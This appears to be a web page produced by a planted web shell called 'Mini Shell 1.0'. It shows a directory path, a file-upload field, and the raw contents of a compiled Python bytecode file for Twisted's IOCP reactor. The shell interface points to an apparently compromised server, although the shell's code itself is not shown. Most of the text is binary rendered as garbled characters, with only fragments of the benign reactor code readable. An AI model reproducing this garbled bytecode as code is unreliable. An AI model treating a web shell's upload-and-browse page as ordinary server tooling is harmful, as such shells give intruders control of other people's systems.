HOME


Mini Shell 1.0
DIR: /usr/lib/python3/dist-packages/twisted/internet/iocpreactor/__pycache__/
Upload File :
Current File : //usr/lib/python3/dist-packages/twisted/internet/iocpreactor/__pycache__/reactor.cpython-312.pyc
�

Ϫ�f�$��H�UdZddlZddlZddlZddlmZmZddlmZddl	m
Z
mZmZm
Z
ddlmZddlmZmZmZddlmZdd	lmZdd
lmZmZ	ddlmZeZej>fZ dZ$dZ%e&d�\Z'Z(ejRd�Z*ejRd�Z+eejXejZej\ej^ge ���Gd�de
j`e��Z1d�Z2ddgZ3y#e!$r0dZdZ eeej>d
fe"d<ejFd�Y��wxYw)z'
Reactor that uses IO completion ports
�N)�Tuple�Type)�implementer)�base�error�
interfaces�main)�Process)�iocpsupport�tcp�udp)�WAIT_TIMEOUT)�_ThreadedWin32EventsMixin)�failure�log)�TLSMemoryBIOFactory�.�_extraInterfacesz|pyOpenSSL 0.10 or newer is required for SSL support in iocpreactor. It is missing, so the reactor will not support SSL APIs.i����z#Handler has no getFileHandle methodzFiledescriptor went awayc��eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zdd�Z
dd�Ze�
dd
�Z	dd�Zn	dd�Z	dd�Zdd�Z	dd�Zdidddddfd�Zd�Zy)�IOCPReactorNc��tjj|�tj�|_t
�|_y�N)r�ReactorBase�__init__�_iocp�CompletionPort�port�set�handles��selfs �F/usr/lib/python3/dist-packages/twisted/internet/iocpreactor/reactor.pyrzIOCPReactor.__init__<s/�����!�!�$�'��(�(�*��	��u���c�:�|jj|�yr)r!�add�r#�handles  r$�addActiveHandlezIOCPReactor.addActiveHandleAs�������� r%c�:�|jj|�yr)r!�discardr(s  r$�removeActiveHandlezIOCPReactor.removeActiveHandleDs�������V�$r%c��d}|�t}ntttd|z��}|jj	|�\}}}}	|t
k(ry|tk7r=|tk(sJ�tj|j|j|||�|dz
}|tk\ry|jj	d�\}}}}�{)z=
        Poll the IO completion port for new events.
        rNr�)
�MAX_TIMEOUT�min�intr�getEventr�
KEY_WAKEUP�
KEY_NORMALr�callWithLogger�owner�_callEventCallback�EVENTS_PER_LOOP)r#�timeout�processed_events�rc�numBytes�key�evts       r$�doIterationzIOCPReactor.doIterationGs���2���?�!�G��+�s�4�'�>�':�;�G�!%���!3�!3�G�!<���H�c�3���\�!���j� ��j�(�(�(��"�"��I�I�t�6�6��H�c��!�A�%� ��?�2��%)�Y�Y�%7�%7��%:�"�B��#�s�r%c�^�|j}d}	|j|||�t|dd�}|st}n|�dk(rt}|ry	|r%|jtj|��yy#t
$r.t
j�d}tj�Y�^wxYw)N�
getFileHandle���r/)
r7�callback�getattr�
_NO_GETHANDLE�_NO_FILEDESC�
BaseException�sys�exc_infor�err�loseConnectionr�Failure)r#r<r=r?r7�why�handfns       r$r8zIOCPReactor._callEventCallbackss����	�	����	��L�L��X�s�+��U�O�T�:�F��#����R��"�����
�� � �����!5�6����	��,�,�.��#�C��G�G�I�	�s�;A5�54B,�+B,c��yrrr"s r$�installWakerzIOCPReactor.installWaker�s��r%c�F�|jjdtd�y)Nr)r�	postEventr4r"s r$�wakeUpzIOCPReactor.wakeUp�s���	�	���A�z�4�0r%c�D�|jj|t�yr)r�	addHandler5r(s  r$�registerHandlezIOCPReactor.registerHandle�s���	�	���F�J�/r%c�p�tj||�}|j|j��|Sr)�socketrW�fileno)r#�af�stype�skts    r$�createSocketzIOCPReactor.createSocket�s+���m�m�B��&�����C�J�J�L�)��
r%c�X�tj|||||�}|j�|S)zI
        @see: twisted.internet.interfaces.IReactorTCP.listenTCP
        )r�Port�startListening)r#r�factory�backlog�	interface�ps      r$�	listenTCPzIOCPReactor.listenTCP�s+��
�H�H�T�7�G�Y��=��	�����r%c�Z�tj||||||�}|j�|S)zJ
        @see: twisted.internet.interfaces.IReactorTCP.connectTCP
        )r�	Connector�connect)r#�hostrrbr:�bindAddress�cs       r$�
connectTCPzIOCPReactor.connectTCP�s*��
�M�M�$��g�w��T�J��	�	�	���r%c�R�|j|t|d|�||�}d|_|S)zQ
            @see: twisted.internet.interfaces.IReactorSSL.listenSSL
            F�TLS)rfr�_type�r#rrb�contextFactoryrcrds      r$�	listenSSLzIOCPReactor.listenSSL�s5���>�>��#�N�E�7�C���	�D��D�J��Kr%c	�B�|j||t|d|�||�S)zR
            @see: twisted.internet.interfaces.IReactorSSL.connectSSL
            T)rmr�r#rjrrbrrr:rks       r$�
connectSSLzIOCPReactor.connectSSL�s-���?�?���#�N�D�'�B����
r%c��td��)z�
            Non-implementation of L{IReactorSSL.listenSSL}.  Some dependency
            is not satisfied.  This implementation always raises
            L{NotImplementedError}.
            �|pyOpenSSL 0.10 or newer is required for SSL support in iocpreactor. It is missing, so the reactor does not support SSL APIs.��NotImplementedErrorrqs      r$rszIOCPReactor.listenSSL�s��&���
r%c��td��)z�
            Non-implementation of L{IReactorSSL.connectSSL}.  Some dependency
            is not satisfied.  This implementation always raises
            L{NotImplementedError}.
            rxryrus       r$rvzIOCPReactor.connectSSL�s��&���
r%c�X�tj|||||�}|j�|S)z�
        Connects a given L{DatagramProtocol} to the given numeric UDP port.

        @returns: object conforming to L{IListeningPort}.
        )r
r`ra)r#r�protocolrd�
maxPacketSizeres      r$�	listenUDPzIOCPReactor.listenUDP�s+��
�H�H�T�8�Y�
�t�D��	�����r%c�Z�tj||||||�}|j�|S)z�
        Connects a given DatagramProtocol to the given numeric UDP port.

        EXPERIMENTAL.

        @returns: object conforming to IListeningPort.
        )r
�
MulticastPortra)r#rr}rdr~�listenMultipleres       r$�listenMulticastzIOCPReactor.listenMulticast�s4��
����(�I�}�d�N�
��	
�����r%rrc
��|�td��|�td��|rtd��|	�td��t||||||�S)z"
        Spawn a process.
        z,Setting UID is unsupported on this platform.z,Setting GID is unsupported on this platform.z&PTYs are unsupported on this platform.zGCustom child file descriptor mappings are unsupported on this platform.)�
ValueErrorr
)
r#�processProtocol�
executable�args�env�path�uid�gid�usePTY�childFDss
          r$�spawnProcesszIOCPReactor.spawnProcess�sd���?��K�L�L��?��K�L�L���E�F�F����!��
��t�_�j�$��T�J�Jr%c�d�t|j�}|jj�|Sr)�listr!�clear)r#�ress  r$�	removeAllzIOCPReactor.removeAlls%���4�<�<� ���������
r%)�2�)�N)r�� )r�r�F)�__name__�
__module__�__qualname__rrr*r-r@r8rQrTrWr^rfrmrrsrvrr�r�r�rr%r$rr2s����D��
!�%�*;�X7�$
�1�0��
���&�	�PT�	� 
	�PT�	��PU��(��
�����K�8r%rc�B�t�}tj|�yr)rr	�installReactor)�rs r$�installr�s���
�A�����r%r�)4�__doc__rYrI�warnings�typingrr�zope.interfacer�twisted.internetrrrr	�twisted.internet._dumbwin32procr
�twisted.internet.iocpreactorrrrr
�"twisted.internet.iocpreactor.constr�"twisted.internet.win32eventreactorr�twisted.pythonrr�twisted.protocols.tlsr�_TLSMemoryBIOFactory�IReactorSSLr�ImportError�__annotations__�warnr0r9�ranger5r4�ConnectionFdescWentAwayrFrG�IReactorTCP�IReactorUDP�IReactorMulticast�IReactorProcessrrr��__all__rr%r$�<module>r�sN��
�
�
���&�:�:�3�G�G�;�H�'�
1�Q�/��"�.�.�0�������q���
�J�-��-�-�.S�T�
�,�u�,�,�-G�H��
�������� � ����	�
��\�$�"�"�$=�\��\�~�
�)�
$���G����BD��e�D��!7�!7�8�#�=�>�C��H�M�M�	C���s�C,�,2D!� D!